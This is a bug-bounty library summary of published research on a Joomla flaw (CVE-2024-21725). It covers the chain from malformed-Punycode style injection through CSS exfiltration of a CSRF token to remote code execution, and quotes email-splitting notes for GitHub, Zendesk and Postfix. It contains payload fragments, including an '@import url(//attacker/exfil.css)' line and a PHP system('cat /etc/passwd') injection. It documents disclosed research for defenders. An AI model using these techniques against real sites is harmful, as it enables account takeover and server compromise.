# Splitting the email atom: exploiting parsers to bypass access controls

Malformed Punycode in Joomla user emails decodes to an opening style tag, enabling persistent CSS injection that exfiltrates the admin CSRF token and yields RCE.

- Payout: Research
- Severity: high
- Program: Joomla
- Found by (vendor credit): Gareth Heyes (PortSwigger Research)
- Write-up by: PortSwigger Research
- Disclosed: 2024-08-07
- CVE: CVE-2024-21725
- Write-up quality: 10/10
- Original: https://portswigger.net/research/splitting-the-email-atom
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-splitting-the-email-atom
- Tags: area:web domain:web impact:ato impact:rce kind:research platform:research sev:high tech:php technique:chained technique:fuzzing technique:source-review vuln:csrf vuln:xss

**Target:** Joomla user registration email field / user list page
**Root cause:** Joomla escapes the user email before the buggy PHP IDN library decodes malformed Punycode (xn-- with leading zeros), so decoded output contains unescaped HTML like an opening <style> tag.
**Steps:**
1. Register account 1 with email containing malformed Punycode that decodes to `<style` (single Punycode subdomain, e.g. `x@xn--svg/-9x6` style vectors).
2. Register account 2 whose name field begins with `{}` then `@import url(//attacker/exfil.css);` to inject CSS past the injected style tag.
3. Admin visits backend user list page; injected `<style` plus following Joomla HTML forms a valid style block loading attacker CSS.
4. CSS import-chaining exfiltrates the admin CSRF token character by character.
5. Attacker sends admin a link to a CSRF page using the stolen token to edit a backend template, injecting PHP `system('cat /etc/passwd')` for RCE.
**How found:** Followed a Wikipedia link to an online Punycode converter using the IDN PHP library; noticed `xn--0049` decoded to a comma, indicating malformed Punycode. Built a fuzzer generating `xn--` strings that decode to arbitrary ASCII, found `xn--svg/-9x6` -> `<svg/`, then searched GitHub for IDN library users and found Joomla escaping email before Punycode decode.
**Exploitation:** Two registered accounts: first injects persistent `<style` via malformed Punycode email; second injects `{}@import` CSS via name field. Admin viewing user list loads attacker CSS which exfiltrates CSRF token; token then used in CSRF to modify an admin template with PHP for RCE.
**Escalation:** Style injection -> CSS exfiltration of CSRF token -> CSRF to edit admin template -> PHP code execution.
**Insight:** When a target escapes input before a later decoding step (Punycode, encoded-word, unicode overflow), fuzz the decoder for malformed inputs that emit HTML metacharacters post-escaping; leading-zero `xn--00NN` Punycode is a rich source of unintended ASCII.

## Proof of concept (copied exactly from the original report)

**Github encoded-word email split payload**

```
For Github the charset doesn't matter so I used "x", the encoded at symbol
 (=40) gets converted to an at and the greater than (=3e) finishes the RCPT
 TO command and finally the null (=00) makes the mailer ignore everything
 after, you need to place a valid local-part after the encoded so I used
 "foo" this successfully passes validation and splits the email.
```

**Zendesk encoded-word email splitting attack**

```
Using this "email" I was able to bypass the restrictions set on the
 support centre. The key to this attack was the embedded encoded quotes
 that were decoded by the parser. Then the =3c22 generates a less than
 character that gets removed which then completes the quote so it passes by
 their validation/exceptions. You'll notice the "=3e=00" is the same
 sequence I used on Github, so they obviously share some of the same code
 but how they responded was a lot different hence the more completed
```

**Postfix UUCP and source route vectors**

```
oastify.com!collab\@example.com 
 
 The preceding example goes to the Collaborator domain "oastify.com" not
 example.com when using Sendmail 8.15.2. This was really exciting to me
 because I proved that this research was actually going somewhere. The next
 step was to find other characters that caused this behaviour so I wrote a
 SMTP fuzzer quite quickly. I discovered that Postfix didn't have this
 behaviour because it's more secure right? Well that's what I thought until
 I found a variation in Postfix 3.6.4 via the fuzzer:

 collab%psres.net(@example.com 
 
 This actually goes to psres.net not example.com and uses yet another
```

